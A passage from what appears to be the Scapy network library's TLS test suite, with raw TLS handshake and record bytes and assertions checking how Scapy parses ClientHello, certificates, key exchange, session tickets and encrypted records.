Inc1\x190\x17\x06\x03U\x04\x0b\x13\x10www.digicert.com1/0-\x06\x03U\x04\x03\x13&DigiCert SHA2 High Assurance Server CA0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xb6\xe0/\xc2$\x06\xc8m\x04_\xd7\xef\nd\x06\xb2}"&e\x16\xaeB@\x9b\xce\xdc\x9f\x9fv\x07>\xc30U\x87\x19\xb9O\x94\x0eZ\x94\x1fUV\xb4\xc2\x02*\xaf\xd0\x98\xee\x0b@\xd7\xc4\xd0;r\xc8\x14\x9e\xef\x90\xb1\x11\xa9\xae\xd2\xc8\xb8C:\xd9\x0b\x0b\xd5\xd5\x95\xf5@\xaf\xc8\x1d\xedM\x9c_W\xb7\x86Ph\x99\xf5\x8a\xda\xd2\xc7\x05\x1f\xa8\x97\xc9\xdc\xa4\xb1\x82\x84-\xc6\xad\xa5\x9c\xc7\x19\x82\xa6\x85\x0f^DX*7\x8f\xfd5\xf1\x0b\x08\'2Z\xf5\xbb\x8b\x9e\xa4\xbdQ\xd0\'\xe2\xdd;B3\xa3\x05(\xc4\xbb(\xcc\x9a\xac+#\rx\xc6{\xe6^q\xb7J>\x08\xfb\x81\xb7\x16\x16\xa1\x9d#\x12M\xe5\xd7\x92\x08\xacu\xa4\x9c\xba\xcd\x17\xb2\x1eD5e\x7fS%9\xd1\x1c\n\x9ac\x1b\x19\x92th\n7\xc2\xc2RH\xcb9Z\xa2\xb6\xe1]\xc1\xdd\xa0 \xb8!\xa2\x93&o\x14J!A\xc7\xedm\x9b\xf2H/\xf3\x03\xf5\xa2h\x92S/^\xe3\x02\x03\x01\x00\x01\xa3\x82\x01I0\x82\x01E0\x12\x06\x03U\x1d\x13\x01\x01\xff\x04\x080\x06\x01\x01\xff\x02\x01\x000\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x860\x1d\x06\x03U\x1d%\x04\x160\x14\x06\x08+\x06\x01\x05\x05\x07\x03\x01\x06\x08+\x06\x01\x05\x05\x07\x03\x0204\x06\x08+\x06\x01\x05\x05\x07\x01\x01\x04(0&0$\x06\x08+\x06\x01\x05\x05\x070\x01\x86\x18http://ocsp.digicert.com0K\x06\x03U\x1d\x1f\x04D0B0@\xa0>\xa0<\x86:http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=\x06\x03U\x1d \x0460402\x06\x04U\x1d \x000*0(\x06\x08+\x06\x01\x05\x05\x07\x02\x01\x16\x1chttps://www.digicert.com/CPS0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14\xb1>\xc3i\x03\xf8\xbfG\x01\xd4\x98&\x1a\x08\x02\xefcd+\xc30\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x18\x8a\x95\x89\x03\xe6m\xdf\\\xfc\x1dh\xeaJ\x8f\x83\xd6Q/\x8dkD\x16\x9e\xacc\xf5\xd2nl\x84\x99\x8b\xaa\x81q\x84[\xed4N\xb0\xb7y\x92)\xcc-\x80j\xf0\x8e \xe1y\xa4\xfe\x03G\x13\xea\xf5\x86\xcaYq}\xf4\x04\x96k\xd3YX=\xfe\xd31%\\\x188\x84\xa3\xe6\x9f\x82\xfd\x8c[\x981N\xcdx\x9e\x1a\xfd\x85\xcbI\xaa\xf2\'\x8b\x99r\xfc>\xaa\xd5A\x0b\xda\xd56\xa1\xbf\x1cnGI\x7f^\xd9H|\x03\xd9\xfd\x8bI\xa0\x98&B@\xeb\xd6\x92\x11\xa4d\nWT\xc4\xf5\x1d\xd6\x02^k\xac\xee\xc4\x80\x9a\x12r\xfaV\x93\xd7\xff\xbf0\x85\x060\xbf\x0b\x7fN\xffW\x05\x9d$\xed\x85\xc3+\xfb\xa6u\xa8\xac-\x16\xef}y\'\xb2\xeb\xc2\x9d\x0b\x07\xea\xaa\x85\xd3\x01\xa3 (AYC(\xd2\x81\xe3\xaa\xf6\xec{;w\xb6@b\x80\x05AE\x01\xef\x17\x06>\xde\xc03\x9bg\xd3a.r\x87\xe4i\xfc\x12\x00W@\x1ep\xf5\x1e\xc9\xb4' p4_certstat_ske_shd = b'\x16\x03\x03\x01\xdf\x16\x00\x01\xdb\x01\x00\x01\xd70\x82\x01\xd3\n\x01\x00\xa0\x82\x01\xcc0\x82\x01\xc8\x06\t+\x06\x01\x05\x05\x070\x01\x01\x04\x82\x01\xb90\x82\x01\xb50\x81\x9e\xa2\x16\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x18\x0f20160914121000Z0s0q0I0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14\xcf&\xf5\x18\xfa\xc9~\x8f\x8c\xb3B\xe0\x1c/j\x10\x9e\x8e_\n\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x02\x10\x07z]\xc36#\x01\xf9\x89\xfeT\xf7\xf8o>d\x80\x00\x18\x0f20160914121000Z\xa0\x11\x18\x0f20160921112500Z0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x90\xef\xf9\x15U\x88\xac@l\xf6n\x04C/\x1a\xf5\xbc[Xi\xd9U\xbe\'\xd3\xb7\xf5\xbb\t\xd8\xb1Tw\x9c2\xac\x7f\x88\xba\x98\xe4\xa13\xf4\xdc\xea\xf3\xacX\xe4,E\xf5\xa9\xc3\xf4B-N\xe0\x89D[\xbe\n\xc2h\x9ar\xfd\'.\xc8,\xed\x83\xc2\xf0\x89_\x8c\xc3\xe7\x8a\xad\xa4\x14\x03\x96\x02\xc4\xa8\xc8\x90\x96%X\x80\x95\x02\x9d_\xc82;m\xe9\x15\x00\xa8\x00\xb9\x01\xe3aN&\xe4\xd5\x8a\xc4w7\x0b\xc3~\xc5\xb1M\x10~T\x9e\x1d\xf6\x06\xf8\x12sTg\x14b_\xe7\xc04\xb4\xa3\xd2\x8f\xe6\xa6\xc4\x01q\x03j\xc8\xd4\xc7\x89\xdde\x99\x1a\xd9\x02\xe7\x17\xd1\xf40P\xef\xf6$\xee\xfad\xf4\xeb\xc8\xf7\x0bRL\x8b\xa5x\xe4R2\xe9\xc2\xfcB\nh\x93\xf7\x0ep4h\xeb\x17\x83\xc8\x88!\xc3W\x94WG\xfe3\x15C0qE&A\x99\xa8}\x1a\xda"\xa9O\xba\x90W_W\xado\x1c\xf0`g7\xbb$\x91o\xec\xdd\xbd\x9e\x8bb\xfc\x16\x03\x03\x01M\x0c\x00\x01I\x03\x00\x17A\x04\xc3\x9d\x1cD\xcb\x85?dU\x9eg\xc9\x90\xd8\x80N|F\x98\x0cA\x07\xdfg\xa2\xfb_z\xe4\x9b\xf6\x06\xf3L\x82KJ8\x0e\x1a\x13\x97;:\x12\rdeu\xb5\x9f\x8d\xaa\xfc\x0f\xacb\x0e\xadVX\x19\x03u\x06\x01\x01\x00y\x8aQ\x11\x94\x91\x7f\xf7\xa3#o.\x11\x1d\xb3K\xede~0\xfb\xaf\x92\xfb\xfdY\x98n\x17$\xae\xf6\x16\x14\x13J;\x1cm7\xfa;\xc8G\xa6\x1a}{\xc2\xa5\x1b\xc5\x1c\xb5\x86\x18\x18Z\xa71\x86\x0b-\xa7/q\x89+\xc7$\xbb\xf2 \x17\xc8`\xbbt[j\x9f\x83\x88\xc0\x8d\xcf4fu1\xc3\xea:B\r\xc6\xc9\x12jP\x0c- \x17\x17t\x10\x17)e\xbe\xaao\xe5@\xd2\xcc\xa5\x89mRy\xfapc~\xa6\x84\x80\xbc4\xb4B\xcb\x92\x86\xad\xf6`9j\xf0\x8ee\xc0|\xfd\xdb\xde!\xceH\x0e\x9c\xfb\x85#\x9f\xb7\xccT\x96\xe0 \xfet-\xd8yUs\xe7m\x94\x07\xbc]~\x99\xd3\x93\xfb\\\xfc@B\x14w\xce\xe8n\x14\xd4\xcc\x07\xe5\xb5@j\x17IQ\xcfub\xcf\xa2\xde\xcaU\xb3 \x8b\xdb\x10Y\x0cS\xc7\x0b\xd8BP\xfeX!\x17\x94\x80\xedu\xf8M\xa7r\xc3\x04\xf4\xd6\xb7\x99\xd1=\x922\xf9\x0b\x9f\xe7\x1b\x932`15\xef\x16\x03\x03\x00\x04\x0e\x00\x00\x00' p5_cke_ccs_fin = b"\x16\x03\x03\x00F\x10\x00\x00BA\x04\xd2\x07\xce\xa9v\xd8\x1d\x18\x9bN\xe1\x83U\x8c\x8f\xd5a\x0f\xe5_\x9d\x0f\x8c\x9dT\xf6\xa9\x18'a\x8fHH@\x0c\xd4D\x801\x92\x07\xf3\x95\xa9W\x18\xfc\xb7J\xe6j\xbb\xac\x0f\x86\xae\n+\xd5\xb9\xdc\x86[\xe7\x14\x03\x03\x00\x01\x01\x16\x03\x03\x00(\x00\x00\x00\x00\x00\x00\x00\x00\xd9\xcb,\x8cM\xfd\xbc9\xaa\x05\xf3\xd3\xf3Z\x8a-\xc7^\xc1\x8e\x81M\xff\x00\x0f}G\xf2\x8c\xab\n=" p6_tick_ccs_fin = b"\x16\x03\x03\x00\xca\x04\x00\x00\xc6\x00\x00\x04\xb0\x00\xc0c\xccwJ\x00\xdb,B.\x8fv#\xdd\xa9\xaeS\x90S \xb7(^\x0c\xed\n\xaeM\x0bN\xba\xb4\x8a4d\x85\x88 iN\xc9\xd1\xbe\xac\xe2Wb\xc9N\xf3\x85\xbf\xb7j\xa4IB\x8a\x1b\xe4\x8d\x1f\x148%\xd7R3\x0f4\rh\x8f\xccBj\xb5\r\xfa\xc1f\r?f\xc4\x0f_q9\xe1\x07B\x038\xb4}\xbb\xb0\xfc\x0eG\xf2\t&\x13\x98\xcb\xfc\xf6\xf4\xeb\x99!\t]\xe2\xd9-J\xe4\xdbK\xa1\xe5\xf0\t\xdfX\x0c\xb3\r\xf9\x18\xfb}\xd9\nhW1\xfc\x1c\x08DJ,\xa6#\xb0\x15\x16(&\xfdP\x8a%\xeb\xc2\xdd\xd8\xa2/\xbd$\xc3\x14\xfb\xf3\x86\xa3\xceO\x18\x9f\xfdS|'\x11\x02\xc8\xa6eW\xbdo*y\xf3.\xcf\x04\x14\x03\x03\x00\x01\x01\x16\x03\x03\x00(\xd8m\x92\t5YZ:7\\)`\xaa`\x7ff\xcd\x10\xa9v\xa3*\x17\x1a\xecguD\xa8\x87$<7+\n\x94\x1e9\x96\xfa" p7_data = b"\x17\x03\x03\x01\xf6\x00\x00\x00\x00\x00\x00\x00\x01?\x04iy\x00\x04 \\\xd0\xd4\x9eG\x1f\xbf\xa3k\xfe=\xee\xce\x15\xa0%%\x06c}\xf6\xd4\xfb\xa6\xf0\xf6\x0cO\x1c\x9c\x91\xa9\x0b\x88J\xe0z\x94\xcaT\xeb\xc7\xad\x02j\x10\r\xc6\x12\xb9\xb9\x7f<\x84V\xab\x1e\xfc\xe5\x01\xda\xd6G\xf5\xb7\xf2I6\x8b\xc9\xc4a\xd3\x19\xeat\xfc\x9b\xfa\x1e\xe7\x8c\xaa\xb3\xce\xd0\x86G\x9b\x90\xf7\xde\xb1\x8bwM\x93\xa2gS>\xf3\x97\xf1CB\xfb\x8fs\x1e\xff\x83\xf9\x8b\xc0]\xbd\x80Mn3\xff\xa9\xf3)'\xc3S\xc8\xcd:\xbe\xd72B~$\xb2;\xeb+\xa4\xbd\xa9A\xd9 \n\x87\xe9\xe2\xe9\x82\x83M\x19Q\xf2n\x0e\x15\xdf\xb3;0\xdd&R\xb7\x15\x89\xe9O\xd8G7\x7f\xc3\xb8f\xc7\xd3\xc90R\x83\xf3\xd4\x1cd\xe8\xc5\x8d\xe4N(k7\xf0\xb7\xbd\x01\xb3\x9b\x86\xbaC.\x17\x8d\xd0g\xc9\xb1\x01\xfa\x01\xbe\xdbt\xb1u/\x19V\xc6\x08@\xff\xa8n\xe8\xd0\xd6n,\x05\xc9\xc2\xd8g\x19\x03.l\xb4)\xa09\xf9\xe7\x83\x01-\xe8\xf8\xffy\xbf\xf7\xe6\x11\xc5\xf5\x9aG\xb3e \xd85\x0f\x8f\x85H\xea\xc2n\x1eR\xbe\x01\xef\xef\x93\xe7*>\xbd\x84\x8b9HDI\x90\xc4$\x9a\x9aK\x88Ki\n\xa3\xab\xed\x91\xcd\xe8\xb1\xd4\x8e\xbcE\x88\xe8\x05\x16\xd5\xed\x18\x16g>\x04\xd8\x1dB}\x91\x90\xd1\xda\x03\xe1\x972CxtD\x85\xafF|~7D9*U\xad\x0b\xc4#\x06}\xec\xd6\xd3?y\x96\xa4\xb5\xa3\x1d\x1c\xbd\xc9\xc9g\xb12\xc9\x0f\xa1\x03\x12N\x0b\xec\x14\xc9vJ\nM\xa7\xc8h\xd0|(1(\xa3\x98@nH\n\x0b\xa80\x00\x02\xb7\x06Z\xd4M\xdc!AV\xe2\xa7*\xc3\x90U\xee\xd0\xb2\x05\xa3w\xe1\xe2\xbe\x1e\xbe\xd4u\xb1\xa1z\x1e\x1c\x15%7\xdd\xf9\xb9~\x02\xf9s\x0c1\xfb;\xab\xf1\x1e\xaf\x06\x8c\xafe\x00\x15e5\xac\xd7]>\x1dLb5\x8e+\x01n\xcb\x19\xcc\x17Ey\xc8" = Reading TLS test session - TLS parsing (no encryption) does not throw any error from scapy.layers.tls.record import TLS # We will need to distinguish between connection ends. See next XXX below. t1 = TLS(p1_ch) t2 = TLS(p2_sh, tls_session=t1.tls_session.mirror()) t3 = TLS(p3_cert, tls_session=t2.tls_session) t4 = TLS(p4_certstat_ske_shd, tls_session=t3.tls_session) = Reading TLS test session - TLS Record header # We leave the possibility for some attributes to be either '' or None. assert(t1.type == 0x16) assert(t1.version == 0x0301) assert(t1.len == 213) assert(not t1.iv) assert(not t1.mac) assert(not t1.pad and not t1.padlen) len(t1.msg) == 1 = Reading TLS test session - TLS Record __getitem__ from scapy.layers.tls.handshake import TLSClientHello TLSClientHello in t1 = Reading TLS test session - ClientHello ch = t1.msg[0] assert(isinstance(ch, TLSClientHello)) assert(ch.msgtype == 1) assert(ch.msglen == 209) assert(ch.version == 0x0303) assert(ch.gmt_unix_time == 0x17f24dc3) assert(ch.random_bytes == b'|\x19\xdb\xc3<\xb5J\x0b\x8d5\x81\xc5\xce\t 2\x08\xd8\xec\xd1\xf8"B\x9cW\xd0\x16v') assert(ch.sidlen == 0) assert(not ch.sid) assert(ch.cipherslen == 22) assert(ch.ciphers == [49195, 49199, 49162, 49161, 49171, 49172, 51, 57, 47, 53, 10]) assert(ch.complen == 1) assert(ch.comp == [0]) = Reading TLS test session - ClientHello extensions from scapy.layers.tls.extensions import (TLS_Ext_ServerName, TLS_Ext_RenegotiationInfo, TLS_Ext_SupportedGroups, TLS_Ext_SupportedPointFormat, TLS_Ext_SessionTicket, TLS_Ext_NPN, TLS_Ext_ALPN, TLS_Ext_SignatureAlgorithms, TLS_Ext_CSR, OCSPStatusRequest) assert(ch.extlen == 146) ext = ch.ext assert(len(ext) == 9) assert(isinstance(ext[0], TLS_Ext_ServerName)) assert(ext[0].type == 0) assert(ext[0].len == 31) assert(ext[0].servernameslen == 29) assert(len(ext[0].servernames) == 1) assert(ext[0].servernames[0].nametype == 0) assert(ext[0].servernames[0].namelen == 26) assert(ext[0].servernames[0].servername == b"camo.githubusercontent.com") assert(isinstance(ext[1], TLS_Ext_RenegotiationInfo)) assert(not ext[1].renegotiated_connection) assert(isinstance(ext[2], TLS_Ext_SupportedGroups)) assert(ext[2].groups == [0x17, 0x18, 0x19]) assert(isinstance(ext[3], TLS_Ext_SupportedPointFormat)) assert(ext[3].ecpl == [0]) assert(isinstance(ext[4], TLS_Ext_SessionTicket)) assert(not ext[4].ticket) assert(isinstance(ext[5], TLS_Ext_NPN)) assert(ext[5].protocols == []) assert(isinstance(ext[6], TLS_Ext_ALPN)) assert(len(ext[6].protocols) == 6) assert(ext[6].protocols[-1].protocol == b"http/1.1") assert(isinstance(ext[7], TLS_Ext_CSR)) assert(isinstance(ext[7].req[0], OCSPStatusRequest)) assert(isinstance(ext[8], TLS_Ext_SignatureAlgorithms)) assert(len(ext[8].sig_algs) == 10) ext[8].sig_algs[-1] == 0x0202 = Reading TLS test session - ServerHello from scapy.layers.tls.handshake import TLSServerHello assert(TLSServerHello in t2) sh = t2.msg[0] assert(isinstance(sh, TLSServerHello)) assert(sh.gmt_unix_time == 0x46076ee2) assert(sh.random_bytes == b'\x0c\x97g\xb7o\xb6\x9b\x14\x19\xbd\xdd1\x80@\xaaQ+\xc2,\x19\x15"\x82\xe8\xc5,\xe8\x12') assert(sh.cipher == 0xc02f) assert(len(sh.ext) == 6) sh.ext[-1].protocols[-1].protocol == b"http/1.1" = Reading TLS test session - Certificate from scapy.layers.tls.cert import Cert cert = t3.msg[0] assert(cert.certslen == 2670) assert(len(cert.certs) == 2) srv_cert = cert.certs[0][1] assert(isinstance(srv_cert, Cert)) assert(srv_cert.serial == 0x077a5dc3362301f989fe54f7f86f3e64) srv_cert.subject['commonName'] == 'www.github.com' = Reading TLS test session - Multiple TLS layers cert_stat = t4.msg[0] ske = t4.payload.msg[0] shd = t4.payload.payload.msg[0] isinstance(t4.payload.payload.payload, NoPayload) = Reading TLS test session - CertificateStatus from scapy.layers.tls.handshake import TLSCertificateStatus assert(isinstance(cert_stat, TLSCertificateStatus)) assert(cert_stat.responselen == 471) cert_stat.response[0].responseStatus == 0 # we leave the remaining OCSP tests to x509.uts = Reading TLS test session - ServerKeyExchange from scapy.layers.tls.handshake import TLSServerKeyExchange from scapy.layers.tls.keyexchange import ServerECDHNamedCurveParams assert(isinstance(ske, TLSServerKeyExchange)) p = ske.params assert(isinstance(p, ServerECDHNamedCurveParams)) assert(p.named_curve == 0x0017) assert(orb(p.point[0]) == 4 and p.point[1:5] == b'\xc3\x9d\x1cD' and p.point[-4:] == b'X\x19\x03u') assert(ske.sig.sig_alg == 0x0601) ske.sig.sig_val[:4] == b'y\x8aQ\x11' and ske.sig.sig_val[-4:] == b'`15\xef' = Reading TLS test session - ServerHelloDone from scapy.layers.tls.handshake import TLSServerHelloDone assert(isinstance(shd, TLSServerHelloDone)) shd.msglen == 0 = Reading TLS test session - Context checks after 1st RTT t = shd.tls_session assert(len(t.handshake_messages) == 6) assert(t.handshake_messages_parsed[-1] is shd) assert(t.tls_version == 0x0303) assert(t.client_kx_ffdh_params is None) assert(t.client_kx_ecdh_params is not None) pn = t.server_kx_pubkey.public_numbers() x = pkcs_i2osp(pn.x, pn.curve.key_size/8) y = pkcs_i2osp(pn.y, pn.curve.key_size/8) assert(x[:4] == b'\xc3\x9d\x1cD' and y[-4:] == b'X\x19\x03u') assert(t.rcs.row == "read") assert(t.wcs.row == "write") t.rcs.ciphersuite.val == 0 = Reading TLS test session - TLS parsing (with encryption) does not throw any error # XXX Something should be done, as for instance the reading of the 1st CCS # will mess up the reading state of the other side (even before the 2nd CCS). t5 = TLS(p5_cke_ccs_fin, tls_session=t4.tls_session.mirror()) = Reading TLS test session - ClientKeyExchange from scapy.layers.tls.handshake import TLSClientKeyExchange from scapy.layers.tls.keyexchange import ClientECDiffieHellmanPublic cke = t5.msg[0] ccs = t5.payload.msg[0] rec_fin = t5.payload.payload fin = t5.payload.payload.msg[0] isinstance(t5.payload.payload.payload, NoPayload) assert(isinstance(cke, TLSClientKeyExchange)) k = cke.exchkeys assert(isinstance(k, ClientECDiffieHellmanPublic)) assert(k.ecdh_Yclen == 65) assert(k.ecdh_Yc[:4] == b'\x04\xd2\x07\xce' and k.ecdh_Yc[-4:] == b'\xdc\x86[\xe7') = Reading TLS test session - ChangeCipherSpec from scapy.layers.tls.record import TLSChangeCipherSpec assert(isinstance(ccs, TLSChangeCipherSpec)) ccs.msgtype == 1 = Reading TLS test session - Finished assert(rec_fin.version == 0x0303) assert(rec_fin.deciphered_len == 16) assert(rec_fin.len == 40) assert(rec_fin.iv == b'\x00\x00\x00\x00\x00\x00\x00\x00') assert(rec_fin.mac == b'\xc7^\xc1\x8e\x81M\xff\x00\x0f}G\xf2\x8c\xab\n=') assert(not rec_fin.pad and not rec_fin.padlen) from scapy.layers.tls.record import _TLSEncryptedContent assert(isinstance(fin, _TLSEncryptedContent)) fin.load == b'\xd9\xcb,\x8cM\xfd\xbc9\xaa\x05\xf3\xd3\xf3Z\x8a-' = Reading TLS test session - Ticket, CCS & Finished from scapy.layers.tls.handshake import TLSNewSessionTicket t6 = TLS(p6_tick_ccs_fin, tls_session=t5.tls_session.mirror()) tick = t6.msg[0] assert(isinstance(tick, TLSNewSessionTicket)) assert(tick.msgtype == 4) assert(tick.lifetime == 1200) assert(tick.ticketlen == 192) assert(tick.ticket[:4] == b'c\xccwJ' and tick.ticket[-4:] == b'\xf3.\xcf\x04') ccs = t6.payload.msg[0] assert(isinstance(ccs, TLSChangeCipherSpec)) rec_fin = t6.getlayer(4) assert(rec_fin.iv == b'\xd8m\x92\t5YZ:') assert(rec_fin.mac == b'\xecguD\xa8\x87$<7+\n\x94\x1e9\x96\xfa') assert(isinstance(rec_fin.msg[0], _TLSEncryptedContent)) rec_fin.msg[0].load == b'7\\)`\xaa`\x7ff\xcd\x10\xa9v\xa3*\x17\x1a' ### ### Other/bug tests ### = Reading TLS test session - Full TLSNewSessionTicket captured import os tmp = "/test/pcaps/tls_new-session-ticket.pcap" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename a = rdpcap(filename) pkt = a[4] assert isinstance(pkt[TLS].msg[0], TLSNewSessionTicket) assert pkt[TLS].msg[0].ticket == b'6k\x8b{\xa8\xaf\xf0\x8aG*\xdd\xc2\xf6\t\xde\xc9y\t\x1d\xdb\xd55!\x91\x1f+\x1a\xa1@\xfe/\x90\xba\x98\xc5\xb3\xe8>y\xae\xda\xc3@\x184\xf6\x1f\xbc{|\xe87\xfe>\xba\\\x1d\x11\x00\xe6\xb9\xf6[,X\x0e\xe0jY\xa8\xfa\x07!1\xb8\x82\xbe\xa6aK\xa7\xad;(\x91^\xb9\xd3a\xa5\xfb%\xda\x10f\xfe\xf9\xc8\xf4\xc6z\xa7d\xa5\x89\x82IZ\xdc3\xa0{\x8c\x1c"\xd5w\x8e\x07\xa0G\xc6\xa7\x0c\xf3<:\x82c\x8a\xeb\x14("\xc4\x9bLS\xc1\x9f\xd7\xa09\xe8,\xe4*i\xf3\x9b\xbb\xb5\x98\xc9*EQ\x1e\xf4\xf7\xb05\xbaby\xa0\xceW\x87\x903\x193\xe3\xfb\xaf\xe82U\xbd\xe7t\xd0\xa4T\xe4\xd8\xe6\xdbd!\xf9' assert pkt[TLS].msg[0].lifetime == 3600 = Reading TLS test session - ApplicationData t7 = TLS(p7_data, tls_session=t6.tls_session.mirror()) assert(t7.iv == b'\x00\x00\x00\x00\x00\x00\x00\x01') assert(t7.mac == b'>\x1dLb5\x8e+\x01n\xcb\x19\xcc\x17Ey\xc8') assert(not t7.pad and not t7.padlen) assert(isinstance(t7.msg[0], _TLSEncryptedContent)) len(t7.msg[0].load) == 478 = Reading TLS msg dissect - Packet too small assert isinstance(TLS(b"\x00"), Raw) = Reading TLS msg dissect - Wrong data from scapy.layers.tls.record import _TLSMsgListField # Unknown type assert isinstance(_TLSMsgListField.m2i(_TLSMsgListField("", []), TLS(type=0), b'\x00\x03\x03\x00\x03abc'), Raw) old_debug_dissector = conf.debug_dissector conf.debug_dissector = False # not even bytes to make it crash assert isinstance(_TLSMsgListField.m2i(_TLSMsgListField("", []), TLS(type=20), 1), Raw) conf.debug_dissector = old_debug_dissector = Test x25519 dissection in ServerKeyExchange import binascii session = tlsSession(connection_end="client") # Raw hex data of a TLS Handshake - Server Key Exchange with x25519 elliptic curve hex_data = "160303012c0c00012803001d202f19b3f5defbd65cfdcbb3583d4760ef74dde4144e01049a43d8a036df38ca15080401008e4e4afc21f612d2f024bb489940a733ea606ed36cba9c60b8479264dcb5f4a0f839d85fa02f0a4be087243e69e575af48917ba6dfda9b485311cd8fe0d7616ece9b216b7b878588c03d3ab90b9dc981f758588905307541c7d3ccb6655baf7bfb0628f3a0ac181729da6b7fcba3efdd43f5bbaec53cfa4dd512941ee1204a42cba8a989e724bd42ac2cb1373ddb54acba29ae45fd58047176e4cb623a9b301711b926d15103f5251f6a0288b04a644834a9843752bbe2f8554beffdbf412983456fcc38b9caabdf7cf9ea2c30bd72dc00cf2cf48f22cd7f17b2d22fb651facb772507cc2fb83301c0c8dd1c3b4f24f38f0c4c82d21d0fa5d1e0b260d545e701" packet = TLS(binascii.unhexlify(hex_data), tls_session=session) assert isinstance(packet.msg[0], TLSServerKeyExchange) assert packet.msg[0].params[0].sprintf("%named_curve%") == "x25519" assert packet.msg[0].params[0].point == b'/\x19\xb3\xf5\xde\xfb\xd6\\\xfd\xcb\xb3X=G`\xeft\xdd\xe4\x14N\x01\x04\x9aC\xd8\xa06\xdf8\xca\x15' ############################################################################### ####### Read handshake with TLS_ECDHE_ECDSA_WITH_NULL_SHA ##################### ############################################################################### + Read handshake with NULL Cipher = Reading test session - Loading unparsed TLS records p1_ch = b'\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x86C\xf2\xe4x\xbaL\x9a`\xc3\x9aR\xa8\xb4\xac\xd0\r\xe2\xa3N\xe6\xa8]g5z$j\xb1(%\xe3\x00\x00\x08\xc0\x06\xc0#\xc0$\x00\xff\x01\x00\x00F\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x00\n\x00\x08\x00\x1d\x00\x17\x00\x19\x00\x18\x00#\x00\x00\x00\x16\x00\x00\x00\x17\x00\x00\x00\r\x00 \x00\x1e\x06\x01\x06\x02\x06\x03\x05\x01\x05\x02\x05\x03\x04\x01\x04\x02\x04\x03\x03\x01\x03\x02\x03\x03\x02\x01\x02\x02\x02\x03' p2_sh = b'\x16\x03\x03\x006\x02\x00\x002\x03\x03C\nm.s\x07W\xef\x91\xf0\xc7\xd8\xaa\xc3NL}\xb0tw?\xd8\n\x8f\x8d\xc4\xee,fhY\x85\x00\xc0\x06\x00\x00\n\x00\x0b\x00\x02\x01\x00\x00\x17\x00\x00' p3_cert = b'\x16\x03\x03\x02\xca\x0b\x00\x02\xc6\x00\x02\xc3\x00\x02\xc00\x82\x02\xbc0\x82\x02\x1d\xa0\x03\x02\x01\x02\x02\x02\x04\xd20\n\x06\x08*\x86H\xce=\x04\x03\x020v1\x0b0\t\x06\x03U\x04\x06\x13\x02PL1\x0b0\t\x06\x03U\x04\x08\x0c\x02PL1\x0c0\n\x06\x03U\x04\x07\x0c\x03KTW1\x0c0\n\x06\x03U\x04\n\x0c\x03ORG1\x0e0\x0c\x06\x03U\x04\x0b\x0c\x05OUNIT1\x110\x0f\x06\x03U\x04\x03\x0c\x08SomeName1\x1b0\x19\x06\t*\x86H\x86\xf7\r\x01\t\x01\x16\x0cemail@adress0\x1e\x17\r190404065502Z\x17\r270621065502Z0\x81\x881\x0b0\t\x06\x03U\x04\x06\x13\x02PL1\x0b0\t\x06\x03U\x04\x08\x0c\x02PL1\x0c0\n\x06\x03U\x04\x07\x0c\x03KTW1\x0c0\n\x06\x03U\x04\n\x0c\x03ORG1\x110\x0f\x06\x03U\x04\x0b\x0c\x08SomeUnit1\x110\x0f\x06\x03U\x04\x03\x0c\x08SomeName1\r0\x0b\x06\x03U\x04\x05\x0c\x0412341\x1b0\x19\x06\t*\x86H\x86\xf7\r\x01\t\x01\x16\x0cemail@adress0Y0\x13\x06\x07*\x86H\xce=\x02\x01\x06\x08*\x86H\xce=\x03\x01\x07\x03B\x00\x04\x97\xfcij\xa2\xeeZh>\x94\n\xad\x1f\x16\x91\x80\x89\xc5\xb3\xc4\xb7\xd1A\xf0(\x96\x93UJ\xca\x98Y\xdec\xad\xa0\xbb\xd9\xebl\x15\xc7\xf2\xa9\xcfl\xbf\x0f\xed"\x08%\x8f\xaf\xd7\xf1K\x98\xf1\xf9\x04.\x05\x81\xa3\x81\x870\x81\x840\t\x06\x03U\x1d\x13\x04\x020\x000\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x03\xa80\'\x06\x03U\x1d%\x04 0\x1e\x06\x08+\x06\x01\x05\x05\x07\x03\x04\x06\x08+\x06\x01\x05\x05\x07\x03\x02\x06\x08+\x06\x01\x05\x05\x07\x03\x010\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xb2\x12\x8c\xe4\x16\x17XjZ%+4G\xa0\xfd\x0b!\x91\xc7\xec0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14\xe2\x17\xb1\xb1\xe1\xca3\xe8\xed\xfd\x86\x13\x10\xe7x5H\xdf1\xf50\n\x06\x08*\x86H\xce=\x04\x03\x02\x03\x81\x8c\x000\x81\x88\x02B\x01\xeb\xc9\xbe\xa1^\x12\x85\x10\x03\x9f$\xc6(\xce\xd7x\xc3w\x00\xd2\x8an\\r\xe8\xb3\xb9\x92Q\x8f\x9f\x81v\xa7*\xa0\xb2\xd8\x17\x12\xbe\xef\x04c\x97T\x8c;&B[\xda\xf8\x81c7\xd25\xfb\xae\x19\x81A\x9b\xc6\x02B\x012\xe9G\xd9;9\x97\x9c\xed_\xa19K\xef\x1b\xf1\x8f\x01\x86icw\r\xa1\x19\xb7\xa6\xe6\xc7\xef\xd6\x1bTr\xb1~\x8ae:4\xdb\xdb\x07\xcf&\xd4\xc0,\xf7\xf5\xa7\'m\xe1a\x06\xb5>\xec\xf1kDB\xf7\\' p4_ske = 